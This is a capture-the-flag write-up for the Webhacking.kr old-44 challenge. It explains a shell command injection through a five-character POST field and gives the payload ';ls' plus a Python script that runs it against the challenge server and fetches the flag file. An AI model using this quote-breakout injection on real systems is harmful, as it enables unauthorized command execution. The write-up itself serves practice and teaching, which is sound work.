Webhacking.kr old-44

Challenge

Execute ls through a five-character POST field.

在五字符 POST 字段中执行 ls。

1
http://webhacking.kr:10005/

Analysis

服务端只保留 id 的前五个字符,再拼入:

1
system("echo 'hello! {$id}'");

输入 ';ls' 的前五个字符仍是 ';ls'。shell 先结束原来的单引号字符串,再执行 ls;最后一个单引号重新闭合外层命令字符串。这样可以从目录列表得到当前 flag 文件名。

Solution

提交 POST 字段:

1
id=';ls'

命令输出返回一个以 flag_ 开头的文件名。不要把部署生成的完整文件名写死;脚本应从当前响应中提取它:

1
flag_<deployment-generated-name>

随后访问该文件读取 flag:

完整验证脚本如下。它只请求题目端口,不包含 cookie 或其他凭据;如果部署响应格式改变,脚本会明确失败而不会猜文件名。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from __future__ import annotations

import argparse
import re
from urllib.parse import urljoin

import requests

FLAG_FILE = re.compile(r"flag_[0-9a-f]+")

def main() -> None:
parser = argparse.ArgumentParser()
parser.add_argument("--url", default="http://webhacking.kr:10005/")
args = parser.parse_args()

response = requests.post(args.url, data={"id": "';ls'"}, timeout=20)
response.raise_for_status()
match = FLAG_FILE.search(response.text)
if not match:
raise RuntimeError("flag filename was not found in the command output")

flag_url = urljoin(args.url, match.group(0))
flag_response = requests.get(flag_url, timeout=20)
flag_response.raise_for_status()
print(flag_response.text)

if __name__ == "__main__":
main()